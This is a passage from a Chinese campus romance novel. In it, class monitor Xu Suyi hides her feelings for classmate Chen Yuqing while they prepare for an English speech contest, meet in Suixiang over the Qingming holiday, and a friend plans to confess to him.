朱宁茜用手肘顶了顶许苏意,“那你们应该可以有很多话说吧,你有没有加上他联系方式,班群里他设置了禁止加好友,怪不好接近的,你们有了交集,应该好接近他吧?” 许苏意摇摇头:“我们就没说过几句话,也没加他。” “我也没接近他。” 说完,许苏意自己都觉得好笑,有了共同的演讲比赛又怎么样,有蒋川川交代给她的事情又怎么样,两个人不还是再普通不过的同学,连联系方式都没有的普通同学。 可能,连她名字都不知道吧? 许苏意在心里叹了口气,忽然觉得嘴里好不容易熬过的凉气根本就没有消失,反而还变重了,否则怎么还是有些疼。 还有些酸。 占朴洛拍了拍许苏意的肩膀,“我们苏意看着就不像是主动接近人的女孩。” 朱宁茜点点头,“说得也是。” 吃完最后一口巧乐兹,许苏意把垃圾丢进旁边的垃圾桶里。 时间一分一秒过去,球场上经过刚刚那么一遭,并没有被影响到,依旧热闹。 陈屿清把矿泉水丢给温新南,在空气中抛出一个漂亮的弧度,他说话的声音清朗:“走了。” 温新南稳稳接住,茫然地问:“去哪啊?” 陈屿清没说话。 阳光有些刺眼,许苏意她们在操场边的大树下乘凉,说着一些无关紧要的八卦,占朴洛和朱宁茜被某个事件逗笑,两个人一对视就更想笑了。 许苏意心里装着事,半节课的时间快到了,不知道陈屿清去办公室没有,她要不要先去? 她轻声叹息,一旦有关于他的事情,她就变得小心翼翼,尽力地想要做得更好一些。 也不知道要不要等他,太明显了吧? 头顶枝叶在风中轻轻晃动,夏末的气息扑面而来,空气里黏稠的闷热粘在脸上,又被风带走。 与此同时,有人叫她名字,像她第一次叫他名字那样。 “许苏意。” 许苏意心脏猛地跳动,还以为是幻觉,整个人都顿住。 她下意识地看向声源。 陈屿清背着光,朝她走来,身后是操场。 许苏意没应话,呆呆地像兔子玩偶。 陈屿清走出光线,在她面前,以为她没听见,继续喊她。 一字一句清晰明了,“班长。” “许、苏、意。” 4. 第 4 章 英教在修远楼一楼尽头,蒋川川在讲台写教案,偶尔低咳两声。 门开着,许苏意和陈屿清刚走到门口就被看到了,蒋川川招手让他们过来。 这次演讲比赛是全国性竞赛,主题是当代社会和中国故事的结合,蒋川川让两个人记笔记。 粉笔在黑板上落下点点声响,许苏意记下。 窗外光线折射进教室,许苏意偏头,才发觉那道光为陈屿清笼上一层朦胧轮廓。 风带着左边的窗帘,陈屿清回过头看了眼。 先看到的是许苏意,脸颊白皙漂亮,脖颈修长精致,乌黑的马尾高扎起,发圈上还有个小陶瓷,被风吹乱的刘海下那双杏眼湿漉漉的。 那个陶瓷的颜色有些特别,灰色的,还带着些看不清的纹路。 许苏意有些懵圈,没想到自己会被抓个正着,脑子里跳过无数个理由要怎么解释自己在看他。 陈屿清垂眸,从她脸上往下移,用笔点了点许苏意的本子。 “不会写?” 蒋川川让他们抄几个中文句子,回去自己翻译,之后仿写。 “啊。”许苏意一时半会儿没理解,有些茫然,那双杏眼更圆了。 意识到他在说什么时,许苏意缓缓点头,没否认,“嗯。” 陈屿清忽然想起上次见到这样的表情是在他外婆家的那只猫,特别像。 他移开目光,稍微轻咳一声,念出那句翻译,“Ifthesouthwindknowsmyiion,dohesu.” 此刻阳光更晒了,外头的光线不亚于许苏意心里的,耳边陈屿清的声音清朗平和。 他念句子时带着BBC一样的腔调,清楚又自然。 许苏意猛然回过神,心房像是藏了一万只蝴蝶在振翅,理智居然还能镇定无比地说:“谢谢。” 她的样子实在认真,和前面走神的模样对不上。 陈屿清勾了唇,坦荡地转过头。 许苏意笔尖狠狠在那句错误地英文上划过,然后遮掉下面那张前不久才写出来的和他念的一样的句子。 蒋川川讲了将近二十分钟就走了,在门口等了很久的占朴洛和朱宁茜终于有机会凑过来。 朱宁茜也不介意刚刚送水的事情,先一步朝着陈屿清过去。 许苏意站在旁边,突然被她挤了一下,有些茫然。 “陈屿清,你们是在说演讲比赛的事情吧,你英语好好,我们都同学,还是纪检部的,要不你给我讲讲《星火》里的一道题呗,第8页第二大题的第3小题。” “那道题温新南说你选B,是对的。” “他说错了,我选A,错了。” 陈屿清懒懒地揉了揉后脖颈,指骨捏着本本子,就那么淡淡的起来,走出教室。 “怎么可能!我不信!” 朱宁茜直接跟着陈屿清走了过去。 许苏意看得有些惊了,收拾东西的动作都慢了下来。 占朴洛“啧”一声,用手肘顶了下许苏意,“看见没?宁茜真勇。” “这纪检部真没白加。” 许苏意不想看,但心脏酸涩湿漉漉的依旧令她抬眸看过去。 走廊外,陈屿清偏过头,清隽眉眼精致利落,和人说话时总带着股劲儿,不让人觉得不耐,反而足够吸引人。 不知道说了什么,许苏意听不见,只看到朱宁茜的脸上雀跃起来。 压在手下的那张纸仿佛变成了一颗柠檬,许苏意一下用了力,柠檬被炸开,连带着空气都酸涩起来,刚刚那点同座的欢喜瞬间被冲洗干净。 回去后,许苏意胸口闷得厉害,打开才讲过的英语笔记,逼着自己写了篇演讲稿。 被陈屿清念过的那句英文句子被写在了第二段的开头,不在开头,不在结尾,就只是藏在那儿。 草稿本上密密麻麻写了很多单词,许苏意有些闷。 虽然很难,但还是想再靠近一点点,想要把和他有关的事情都做得漂亮一些。 笔尖落在本子上,房间的门就被敲响,“橙子,能进来吗?” 许苏意点了头,“可以的,妈妈。” 周清雅端了盆橙子进来,“刚刚进门看你都不说话,是演讲比赛压力太大了吗?” 演讲比赛这事儿许苏意和周清雅提过。 许苏意翻着刚买的资料,小声地说了句“没有。” 周清雅笑了下:“还说没有,你本子上写什么呢?‘CQY'是什么?演讲稿吗?” 三个英文字母被周清雅念出声,许苏意嗖的一下拿了选修英语书一下盖上草稿纸,略带急切地说:“我在写演讲稿。” “演讲稿有什么不好意思让人看的?”周清雅轻轻笑了一下,鼓励着:“比赛就按照你之前参加过的那些比赛那样,放轻松。” “你看你一安静就爱动手写东西,做东西,和小时候一样。” 许苏意沉默下来。 这习惯是从小时候就有的,喜欢手作,总觉得可以沉入到安静的世界里忘记一切,同时,她又是个极其念旧又固执的人,习惯与喜欢,怎么改都改不掉。 周清雅企图让气氛好一些,打趣着:“只不过这个‘CYQ’怎么不像英语单词,像是谁的缩写呢?是这次演讲比赛的主题吗?” 许苏意不想说这个,忽然想起什么,转移了话题:“妈妈,爸爸跟我说了很多次了,让你少去工坊,我也跟你说过好多次,我不知道该怎么和你继续说这件事。” 上周许桥生带着周清雅去复查,依旧是老毛病,就是不能过劳,不然晕的次数多了,病情会加重。 许桥生担心得不得了,私底下想了很多办法都没用,周清雅就是喜欢漳窑。 “妈妈会注意的,不要担心我。”周清雅摸了摸许苏意的脑袋,“你还真是随了我。” “橙子放那,喜欢吃也不要全吃掉,记得留肚子吃饭。”周清雅笑说:“爱吃橙子,你小名就这么来的。” 周清雅出去后,许苏意已经没法静下心来写演讲稿了,手机屏幕亮起,占朴洛的消息传过来,每一条琢磨的都是塔罗牌。 许苏意对这个不感兴趣,也都耐心回了,回了她一条,就有千百条回过来。 手机反盖在桌上,许苏意掀开草稿纸,才发觉不知不觉写了好多个'CQY',小写的,大写的都有,跟在几句英语句子后面。 许苏意有些懊恼,有些泄气地趴在书桌上。 演讲比赛的主题吗?CYQ可比演讲比赛要难得多。 心脏像是爬满了一丛丛潮湿的苔藓,湿漉漉的。 所有的情绪都来自另外一个人。 可惜他不知道,也不可以知道。 ... “什么不知道!都给我想清楚了再回答!” 英语书“啪”的一下被丢在讲台上,蒋川川的脸有些发白,自从上次在英教指导完演讲稿后,她就请了两周病假,学校找了代课老师,蒋川川联系了她,把该布置的作业布置了。 一天一张卷子,外加三十个单词,回来时一次性听写,一个都不能落下,蒋川川有些严厉,虽然刚升高二,班里人却都挺喜欢她的,私底下没少鼓励人。 却没想到这次一回来,就给蒋川川吃了个大招,气得她在讲台上咳了起来。 “一个个地把我的话都当耳旁风,你们不急我也不急!”蒋川川气得双手环抱,嘴边的小蜜蜂被动作拉到,发出长长的“滋”声。 耳边小蜜蜂的声音刺耳,被蒋川川关了,“你们还在说是吧?那么会讲上来讲,一个人耽误一分钟,全班三十七个人就是耽误三十七分钟。” 粉笔头从空中滑落,丢在乔彦林身上,“说的就是你!” 下课铃及时响起,蒋川川一锤定音。 “这次听写九十五分以下的都给我抄十五遍!” 这次听写的词组句型特别多,听写本还没发,占朴洛在旁边祈祷,小声念着不要抄不要抄。 出教室的瞬间,蒋川川看到许苏意,还未平息的怒火终于消去了一些,“苏意你去教务处领一下中秋节和国庆节的通知单,拿完发下去,然后来我办公室。” 上午下了场雨,这会儿还在下,地面湿漉漉的,朱宁茜撑着伞和许苏意聊天。 朱宁茜说今天是陈屿清请假的第三天,他去参加竞赛了。 他不在,连带着最近纪检部的检查卫生的单子都要交给副部长。 许苏意顺着她的话问下去:“你怎么知道?” 班里少了个人影,她看过座位很多次。 即使刻意地不去想,这个名字还是会顺着风钻进她的脑子里,无懈可击。 她以为是他讨厌周一,却没有想到关于他的事情还是要从别人的嘴里听到。 许苏意抿了抿唇,有些自暴自弃地把领好的通知书抱在怀里。 朱宁茜耸了耸肩:“我 早上来的时候特意路过办公室听了一嘴,要想知道他消息可真难,温新南一个字都不说。” “要我说,可真得加他Q,问了一圈,班里没人加到,好烦。” 朱宁茜有点泄气,把目光放在许苏意身上:“诶,苏意,你是班长,你去加呀。” 冷不丁的,许苏意“啊”一声,用手指了指自己,“我吗?” 这几天许苏意不知道回头看了多少眼最右边后排座位,空荡荡的,只有邻座的温新南在和人说话。 班里有几个同学在讨论陈屿清怎么还没来,温新南嘴边噙着笑,很坏地说不知道,朱宁茜发作业的时候也去打听,答案是一样的。 许苏意抬头,目光所及之处,雾蒙蒙的,这种毛毛雨最讨厌了。 眼前有个小水坑,许苏意一脚跨过去,却还是溅起了水花,脏水不小心带在了校裤边缘。 “对啊,你啊。” 一路上楼梯,直直对着办公室门口,许苏意没说话,许苏意让朱宁茜把通知书发下去,自己先去办公室。 办公室里几个老师都在改作业,蒋川川旁边还有个空位,拉了椅子让许苏意坐。 前几天许苏意就把演讲稿以Word形式发给蒋川川了,这回来就是让她修改。 需要改的不多,打印出来细节用红笔批注了就好,蒋川川特别喜欢许苏意,连带着和她说话的声音都是特别温柔的。 “这阵子我没来,代课老师和我夸你了,班里纪律也管得特别好。”说着,她温柔地笑起来,神色温和。 许苏意成绩好,人也文静,说实在的,班里人看她总有榜样的感觉,兴许是学生时代里总会有成绩好,说话有力,这样一种人出现,所以大家都挺信服她。 管理起班级也不怎么费力,许苏意也觉得自己运气特别好,分在了这样一个班级里。 许苏意笑起来,应下夸奖:“谢谢老师。” 蒋川川打心眼里喜欢许苏意,“陈屿清最近几天请假去竞赛了,这之前他和你说过他演讲稿的主题没有?别撞了。” 提到他的名字,许苏意一顿,摇摇头,“没有。” “那要抓紧了,过几天放完假就要比赛了。”蒋川川“啧”一声,打开电脑翻记录,“我也没收到他的演讲稿。” “你在班群私聊他一下,问问他的主题,都要定稿了。” 不知道为什么,蒋川川这两句话让许苏意觉得自己踩在云端上,她顿了顿,听到自己的声音仿佛从很远的地方传来,“老师,班群里陈屿清设置了禁止加好友。” 这话还是从朱宁茜那儿听来的。 话音散在空气里,许苏意连带着头皮都在麻。 许苏意没说其实没加好友也可以私聊的。 蒋川川眼皮耷拉下来,“怎么还装高冷?” 许苏意有一瞬间想笑。 “开学这么久了,同学关系还这么紧张吗?”蒋川川手指在键盘上噼里啪啦地响,“你别忘了劝劝他上回的事,最好让他回竞赛班。” “革命尚未成功,同志仍须努力。” 下一秒,许苏意听见她想听的答案。 “我发个信息,让他加你。”蒋川川无奈极了,“这么久了,连个演讲稿都不交过来,加他之后主要是劝劝他,顺便说下演讲稿的事。” 这句话落在许苏意心里特别久,直到最后一节课结束。 她从口袋里摸出手机,从上午蒋川川那句话开始,软件里一直都没有等到新好友的提醒。 夜色漆黑,空气静谧,许苏意做完作业脖子都酸了很多,她抬手揉了揉。 手机里有很多占朴洛和朱宁茜发来的消息,前面在说英语听写94分,差一分,单词抄的手都要断了,后面的在和她说明天陈屿清会不会来。 会不会来,她也不知道。 回复完信息,许苏意又等了五分钟,在她想要把手机合上时,“叮咚”一声,联系人里跳出个红点。 点开,验证消息上写着【陈屿清】三个字。 头像乍一看是空空如也的纯深蓝调,点开实际上有一座小岛,特别不明显。 许苏意心跳很快,明明要开心死了,心里装着的一万个气球要在此刻炸开了,却还是强装着镇定,点下同意两个字。 她很快回过去。 许苏意:【我是许苏意。】 陈屿清:【我知道是你】 许苏意在此刻如梦初醒。 他真的加她了。 5.第 5 章 那条消息许苏意过了好一会儿才回过去。 对着屏幕,其实对方又看不见她的表情,所有的心思更是藏得好好的。 书桌上没有了上次的草稿纸,放着一叠整齐干净的作业本和练习册,许苏意把手放在键盘上,心里想了很久的话还是打了上去。 许苏意:【蒋老师让我和你对一下演讲稿的主题,你明天来学校吗?】 这条消息并没有得到回复,但许苏意已经得到答案了。 第二天是周四,上完之后就是清明假期,今年运气好,清明假期直接在周末,不用调休,直接放三天。 还是没看到陈屿清,那条消息依旧没回过来。 占朴洛在占塔罗牌,清明回来就要月考,主打抽查学生放假期间有没有好好复习和做作业。 她无比虔诚,洗牌之前做了祈祷。 占朴洛的表情太过滑稽,许苏意没忍住笑。 借着陪朱宁茜去走廊装水,许苏意看了好几眼陈屿清的座位。 昨天发下去的通知单许今天各组组长收齐后交上来,陈屿清那份还放在桌上,这几天发下去的卷子还有复习资料也堆在那儿。 上午又下起了毛毛雨,雾蒙蒙的,天气快要转凉,可以穿长袖了。 朱宁茜今天一整天心情似乎比较好,她拉着许苏意的手问,“苏意,你和陈屿清都一起参加比赛,你能不能帮我问问他喜欢什么,就不经意的那种。” “按照我的性格,明眼人肯定能看出来我喜欢他,肯定不能向他问他喜欢什么,但是你不一样,你温温柔柔的,旁敲侧击肯定可以。” 许苏意都快窒息了,心脏仿佛要跳出来。 她总感觉朱宁茜的话很冷,没忍住紧紧抱着刚装完热水的杯子,这样好似就能温暖自己。 “你要……给他送礼物吗?” “不是!”朱宁茜摇头,认真地说,“我想给他告白,就试试!” “可以吗可以吗?”朱宁茜见许苏意没说话,摇着她的胳膊,“求求你了苏意,可以吗?” 相比于朱宁茜的雀跃,许苏意心里装着事,有些失措地回到座位,她听见占朴洛在和温新南打赌。 “这回月考要是没进全班前五,就算我输,你一星期的值日都算我的。” “行啊,我算的是你这次月考肯定班里倒数第五之下,如果不在,我请你一星期的水。” 许苏意听得迷迷糊糊,朱宁茜问了其他同学,说是因为占朴洛刚刚在占塔罗,温新南过来算,他不信,但好奇,结果是平心平气地和占朴洛打赌。 还是个十七岁的男生,也没当场质疑,而是带着少年气的执着。 温新南一走,占朴洛就不行了,当场泄气,抱着书恨铁不成钢:“怎么办怎么办,他跟陈屿清都是竞赛班来的,肯定前五,要想赢我就必须考进前五占一个名额,努力把他踢出去。” 朱宁茜哇的一声,“朴洛,但是你刚刚好猛,相信你可以。” 许苏意收了所有的情绪,把占朴洛面前的英语书放在她手上:“你知道羊会咩咩咩,鸭会嘎嘎嘎,你知道鸡会什么吗?” 占朴洛表情塌了,她早就在短视频里刷到过这个冷幽默梗了:“......机会是留给有准备的人。” “好冷,苏意。” 两个女生笑成一团。 假期前一天没有晚自习,下午六点十分准时放学。 许苏意到家时许桥生刚好下班,他把公文包放在架子上,边脱鞋边问许苏意,“橙子,明天清明,早上记得早点起来,一起回乡下。” 周清雅从厨房里出来,她身上围着围裙,“橙子可以不去吧?平常上学已经很辛苦了,开车回绥乡还要两个小时的时间,来回四个小时,少去这一次爷爷奶奶也不会怪你,我们早点回来,明天可以让你多睡会儿。” 许桥生叹了口气,走过去脱下周清雅身上的围裙:“你知道橙子辛苦,怎么不知道你自己辛苦,都说了不要做饭,等我回来做,也不怕累到你自己。” 周清雅柔和地笑笑,满不在意:“没多大事。” 许苏意已经习惯了这样的场景,她很幸运出生在这样一个幸福的家庭,每年清明节都要回乡下扫墓,看望过世的爷爷奶奶,告诉他们世界上还有人一直在记得他们。 许苏意对于爷爷奶奶的印象不多,但她记得小时候不开心时总会有两位老人笨拙地从口袋里拿出两个糖果给她,不善言辞地哄她开心。 但她的童年也不尽然全是幸福的,那会许桥生处于事业上升期,工作繁忙,周清雅生完她后身体不好,有时也没空顾及她,也就是这样的成长环境,为了不给他们造成更多的压力,反而让许苏意变得更加懂事,擅长捕捉他人的情绪时独自消化自己的情绪。 许苏意想了想,“妈妈,我挺....”还没来得及回话,手机铃声先一步响起。 Q.Q的消息弹在屏幕上,出现在心里的名字印在眼里。 陈屿清:【不好意思,我今天没去学校。昨晚发生了一些事情。刚睡醒,等很久了吗?】 过了几秒钟,许苏意才回过去,没问什么事,这是边界感。 许苏意:【没有,我没那么多时间看手机。】 陈屿清:【主题比较广泛,我在绥乡不太方便和你说演讲稿的事情,等假期结束回学校了再跟你说。】 绥乡两个字瞬间击中许苏意大脑,许苏意大脑不过多想,直截了当地回过去。 许苏意:【没事,我明天也要去绥乡,到时候你直接把演讲稿给我看一眼就好。】 那边回复慢了下来,许苏意这才反应这句话多奇怪。 许苏意:【假期结束后就是月考和比赛,不想耽误。】 回复过去,许苏意把手机熄屏,眼皮跳得厉害,她把手放在另一只手的脉搏上,企图遮掩什么,然后看向还在和许桥生说话的周清雅。 “妈妈,明天我们一起去看爷爷奶奶吧。” 对于许苏意坚持要去绥乡这件事,周清雅没太大惊讶,睡前还交代绥乡在乡下,早晚温差比较大,让许苏意提前穿厚点,最好加一件薄毛衣。 许苏意特意洗了头发,睡前从衣柜里拿了裙子披在椅子上。 陈屿清早早就回复过来,还道歉是他耽误了她,其实许苏意不是那个意思,她不知道要怎么解释。 临睡前许苏意还在迷迷糊糊地想起占朴洛上次说过陈屿清真的很有礼貌,有几个人能够做到他这样。 这个夜晚许苏意睡得格外好,第二天周清雅看到许苏意时,上下打量了一番,递给她提前热过的牛奶,“要不要再加个外套?” 许苏意小时候得过胃病,喝牛奶必须要喝热过的,她接过,吸管一下插进去,转过头说:“不用。” 许桥生捞过挂在门后的钥匙,“走了,一会儿来不及,假期高速很堵。” 绥乡在乡下,车开了两个小时多才到,周清雅在路边小店买了香烛,鲜花,又拿了一些必要的工具,三个人一起扫墓完后又在陵园待了很久。 许桥生和周清雅都是重感情的人,许苏意随了两人,一起又去把老家的房子打扫了。 一通下来还不到十点,许苏意把扫把放在阳台,“妈妈,我有同学在附近,我先出去,一会儿你们回家了告诉我,我很快回来。” 周清雅和许桥生交代许苏意注意安全。 因为要说演讲稿,所以两人约好的地址在绥乡的一座公园,人少安静,走过去也只要十分钟。 绥乡很小,许苏意选的是大路,视野宽阔,远远可以看见大半片公园。 依稀有两个人影坐在一张圆桌边,很熟悉,走近了隐约听到对话声。 “你最近这几天都在这看你外婆啊?你爸妈不信什么祭祖,你也不信,只有你,不信也来支持你外婆。” 陈屿清戴了顶黑色鸭舌帽,帽檐压得很低,说话声音明显很低,“她病情加重了,前几天晚上发了脾气。” “阿尔茨海默病又加重了吗?”温新南声音拔高几分,“她老人家不愿意跟你爸妈一起住,也不愿意去疗养院,只有个阿姨,也挺头疼的。” 温新南“啧”一声,看陈屿清情绪不高,转了话题,“最近班里挺多人问你情况的,我可都没说。” 陈屿清“嗯”一声,清瘦有力的身子靠近石桌,手肘顶着桌面,露出漂亮的腕骨,下颌线微抬,被帽檐遮眼的眉骨露出。 他看过来,和远处的许苏意对上了目光。 许苏意一怔,反应慢了半拍。 有一瞬间许苏意要炸了,带着莫名的心虚,其实她没听清刚刚的对话,只听到“外婆”“发脾气”几个词。 她慢慢走过去。 温新南也注意到了许苏意,他有些惊讶。 许苏意很漂亮,她穿校服时就很漂亮,是那种由内而外散发出的漂亮。 而今天不同于印象里的校服,她穿了件白色连衣裙,腰身勾勒出纤细的腰,长发柔顺披着,整个人恬静又淡雅,是初露成熟而又裹挟着青涩的漂亮。 温新南和许苏意平常交集不多,说过最多的话就是交作业那几句。 “你来这儿郊游吗?”温新南想不明白今天能穿这么好看来这儿的原因还有什么。 许苏意摇头,没承认,“不是,看我爷爷奶奶。” 她把目光自然地看向陈屿清,是桌上放着几本练习和蒋川川假期布置的卷子,看来温新南都把作业交给他了。 几张草稿纸还列着数学公式,看来刚刚他们在说数学题。 温新南知道他们要说演讲稿的事情,也不打扰,坐在旁边提前拿出卷子做,那份卷子是外省的三校联考,难度特别大,学校里目前没发。 许苏意忽然想起占朴洛和他打的赌 ,问他:“你做的卷子可以借我拍下来吗?” “可以,不用拍,我有多的。”温新南同意了,从底下抽了份多余的拿出来,“这张卷子背面倒了,这儿打印店就一家,老板技术太低了,复印纸给我放反了,不介意的话你可以拿去。” 许苏意说了谢谢,想着回头把占朴洛约出来给她。 石桌上放了盒巧克力,上面是几个散乱的字母,陈屿清推过去给许苏意。 温新南拿了个拆了往嘴里塞:“好兄弟,俄罗斯大头娃娃的巧克力,巨难抢,上回找代购就拿了一盒。” “你早有怎么不拿出来?还等这会儿拿。”温新南怀疑自己瞎了,不然现在怎么才看到有盒巧克力。 许苏意拿了两颗,拆开其中一颗,入口融化到像是在含着热可可,像在吃云朵一样柔软。 她看到陈屿清也拿了颗,心跳砰砰地乱响,像是变成了巧克力要融化了。 来绥乡时许苏意带了演讲稿过来,她放在石桌上,“这是我的演讲稿,你可以看看。” 陈屿清接过来,那是一张用A4纸打印好的演讲稿,用词流畅,逻辑清晰,感染力极强,可以看出许苏意功底扎实深厚。 她是个很聪明的女孩。 陈屿清抽了张便利贴给许苏意。 许苏意接过时心脏紧了一瞬,她坐在陈屿清左边。 裙摆有些长,坐下时裙摆边缘碰到了地面上的草。 白色便利贴上是遒劲有力的字体,写着:青年视角、民生变迁、文化传承。 陈屿清的演讲稿还没写,但已经能看出切入点和她不一样。 空气安静下来一瞬,陈屿清粗略看完,把演讲稿还给许苏意。 他提了几个问题。 绥乡空气特别清新,公园安静舒适,风被带过脸时带来一阵阵凉意。 少年冷白指骨握着笔,问她可以在演讲稿上画线吗,许苏意点了头。 “Theyarethestoriesle……这句可以和后面的调换顺序,把立意再提升一些。” 从许苏意的角度看过去,可以看清陈屿清高挺的鼻梁和柔软的薄唇。 距离有些近,许苏意没想那么多,“把现代发展和过去相结合,再升华一点是么?” 她把手伸过去,指向那句英文句子。 陈屿清低着头,眉眼淡然,忽然手背上感受到温热柔软的肌肤,他眼眸抬起,只感觉有些诧异。 手背触碰的感觉明显。 许苏意大脑一顿,集中的注意力被携去,下意识地把手收回,动作迅速,“不好意思!” 不是,怎么这样。 说话的声音带了几分说不清道不明的情绪,连目光都不敢继续放他身上,落在远处绿茵茵的草地,阳光落过来,空气里浮现出丁达尔现象,是一道柔和的光线。 陈屿清没在意,帽檐压得更低,说话的声音也是,“没事。” 许苏意害怕自己露出马脚,心里强装的天平倒塌,她小声地说:“不好意思,我没想碰你。” 她不知道自己的反应是不是太应急了,但碰到他的时候脑子里全剩下逃离了。 后知后觉才发现他的手背温度是凉的。 “嗯。”陈屿清收拾了练习,起身,“其他没有问题了,走吧。” 他说话的语气坦荡又自然,像在和亲近的人说话,总叫人觉得模糊了关系,实际上许苏意知道,并没有。 出公园的路只有一条。 路上,许苏意抱着本子,陈屿清留过字迹的演讲稿被她夹在里面,保存得很好。 须臾,她有些迟疑地问了句:“蒋老师之前让我问问,你们……在重点班还待得习惯吗?马上要月考了。” 这话可问到温新南心上了,刚刚他插不上嘴,现在有了机会。 他左手搭着陈清屿的肩,吊儿郎当,“我爸妈不管我,重点班进度没之前快,也挺舒服的。” 说完,温新南看了眼陈屿清,“不过他,不管习不习惯。” “他肯定是不会回竞赛班了。” “……”许苏意不想暴露心底的惊讶,将语气拿捏得恰到好处,实际上放在裙子侧边口袋里的一只手紧紧攥着巧克力。 掌心是巧克力,手背却仿佛还能感觉到前不久陈屿清的温度,心脏被勒紧,她听见自己的声音,“真的吗?” 也是在此刻,许苏意的手机响起,她以为是周清雅催她回去,却没想到是朱宁茜的消息。 朱宁茜:【苏意,我们明天和朴洛一起出去玩好不好?顺便给陈屿清选礼物,为我的告白计划。】 朱宁茜:【我已经拜托了温新南帮我约陈屿清出来,也不知道他会不会同意。】 许苏意忽然有些胸闷,脸色苍白地关掉手机。 转头,她对上了陈屿清的目光。 6.第 6 章 许苏意脸色苍白,手机放进口袋里。 陈屿清目光坦然落过来时,许苏意瞬间收拾好自己的情绪,想也没想,直接开口:“真的吗?” “你在班里待得不习惯,可以和蒋老师,或者我说。” 这话听起来太认真、负责了,实际上,许苏意本身就是这样的人,她办事靠谱,班里每个人都有目共睹。 许苏意像是在踩钢丝,摇摇晃晃的,稍微一个不稳就会掉下去,她干脆转过头,装作看不见陈屿清。 陈屿清点了点头,挺随意地说了句知道了,又说,“真的。” 这两个字撞在许苏意心口上,空气安静一瞬,她看着眼前的公园出口,偏过头抱着本子和陈屿清和温新南告别。 许苏意只觉得这个上午时间过得很快,像梦一样,可身后隐约传来的声音却在提醒她这不是梦。 温新南的声音带着好奇:“她怎么了?刚刚好好的,出来时看了眼手机就这样了,不会发生什么事了吧?要不要关心一下?” 陈屿清的嗓音被风带过来,不疾不徐:“不知道。” “什么不知道,哦,对了,班里学委,那个朱宁茜问我月考后,下下周六你有没有空,她想邀请你一起出去玩,你要不要去……” 许苏意走得很快,听不清陈屿清的回答。 可在夜半时分,在忙碌结束过后,在寂静的空气里,缠的许苏意思绪飘荡,翻来覆去地去猜想答案。 陈屿清的回答到底是什么? 他会不会答应宁茜的邀请?答应了又会发生什么? 真答应了她也只是作为宁茜的朋友默默祝福…… 半晌,许苏意猛地睁开眼睛,直直地看着漆黑的天花板。 这些和她有什么关系?那些藏在暗处的心思,从来都是她一个人的心事。 许苏意偏过头,看着放在床旁的手机,最新消息上还停留着朱宁茜约她明天下午出来玩的留言。 下午三点,占朴洛收到许苏意给她的卷子,当即亮了眼睛,直接贴在许苏意的身上这几天她疯狂努力,势必不在温新南面前丢脸。 朱宁茜看到那份卷子,有点诧异,接过来翻了翻:“这个卷子我们学校还没有,你从哪儿弄来的呀?还复印倒了。” 许苏意没想瞒她们,实话实说:“我从温新南那儿拿的,蒋老师让我问陈屿清演讲比赛的主题,昨天回乡下,正好他们在。” 占朴洛还在感叹,丝毫不介意卷子复印倒了,折好放在包包里:“苏意你真好,呜呜呜。” 三个人出了书店,朱宁茜说要请她们喝奶茶。 朱宁茜一边走着,一边挽上许苏意的手,咬着吸管问她:“苏意,那你帮我问出来了吗?” 许苏意摇摇头,干笑着:“不好意思啊,宁茜,那会儿我忘了……只想着演讲稿了。” “没事没事。”朱宁茜嘻嘻笑,“反正你最近都可以和陈屿清接触诶,你下回记得帮我问。” 她还有点惆怅:“说实话我真猜不到陈屿清喜欢什么。” 许苏意低低“嗯”了声,轻声在心里叹了口气。 其实上回,许苏意并没有答应朱宁茜,只是说考虑。 可也就是在这瞬间,许苏意想要和陈屿清再走近一些,哪怕是为了帮朋友探寻那一点点消息。 尽管有许许多多的女生都在接近他,结局都失败了。 奶茶的甜味在口腔里弥漫,冰凉的茶冻带来淡淡的清爽。 占朴洛在给朱宁茜出主意:“你之前不是有去竞赛班吗?就没打听到他喜欢什么?” 朱宁茜咬着吸管,看到附近有家音乐器材店,“我想起来了,我听说陈屿清之前学过钢琴,但我买不起。” 少女的烦恼满满,占朴洛和朱宁茜讨论着,许苏意偶尔提一些建议,最后她们进了家羽毛球专卖店,买了个限量版护腕。 买完,朱宁茜高兴地付款,丢下个炸弹:“到时候陈屿清来了,你们帮我一起想惊喜好不好?苏意你最近和他聊天夸夸我,朴洛和我一起准备惊喜,到时候我再表白!” 占朴洛点头,她劲儿上来了和朱宁茜讨论着细节,说到最后,两个人笑得脸都红了。 朱宁茜摇着许苏意的手臂:“苏意,你有在听我说话吗?” 许苏意不知道要怎么回答,脑海里浮现出昨天和陈屿清在公园的那个下午,心潮澎湃,却装作若无其事,干笑着:“有,有啊。” 朋友谈笑自如地讨论着陈屿清,许苏意却紧紧地按着脉搏,控制心跳,独自守着无人知晓的秘密。 少女的声音闷闷的,和忽然吹过来的风重合,树叶疯狂摩挲,乌云翻涌压城,天色突然暗下。 海城的天气总是这样,前一秒还是大晴天,后一秒就下雨,天气预报就没有准过,网上本地人总说这座城市没有秋天,有的只有善变的天。 在周围逛了一个小时,朱宁茜和占朴洛见要下雨,就先打车回去了。 许苏意捧着奶茶和朱宁茜说拜拜,她不是很想回去,脑子里还在想着陈屿清的事。 风带起许苏意的发梢,粘在脸上,难言的失落陡然放大。 许苏意眼眶微酸,因为她发现,尽管装得再好,再不在意,也没有办法抹去他在她心里的痕迹。 就算她和他昨天下午相处过,最近接触得比较多又怎么样,每一个人都能提起他,毫无顾忌地提起他。 许苏意深吸一口气,把奶茶杯丢进垃圾桶里。 对面是条小吃街,最末尾的楼上有家琴行,logo很大,比楼下的家常菜馆还要大。 有点特立独行,鬼使神差的,许苏意往那儿跑进去。 外面的logo很大,这家琴行却很小,一条道,两侧就是琴房,一眼看过去估计还没有十间,前台坐着个男人,很年轻,看起来像是个大学生,他背后挂了一堆奖项和比赛照片,唯独有一张格格不入,画面里只有钢琴。 见有客人进来,他收了手机问:“有预约吗?” 许苏意摇摇头,他又问:“那你想学什么,还是了解一下?我们这儿有体验课,一节59.9,特优惠。” 第一次正儿八经地来琴行,许苏意眼里透着茫然,报了节钢琴体验课。 体验课其实学不了什么东西,大概就是了解钢琴键,钢琴谱,但许苏意从前学过扬琴,周清雅教的,她自个儿都只学了两年,所以后面也不了了之。 学艺不精,但对谱子还算了解,能看懂钢琴谱,琴键也了解,学起来特别快,一节体验课四十五分钟,最后五分钟体验课老师就让许苏意试着弹次《卡农》。 直到琴房门被推开时,体验课老师带着许苏意出来,不知道体验课老师是为了销售,刻意忽略掉这点没提出来,愣是夸奖许苏意弹得特别完美。 体验课老师后面的学生来了,她问许苏意要不要加自己微信,回头需要的话可以联系。 许苏意扫了过去,点下屏幕上“同意”时,她听到琴房门口的几个女生在说话。 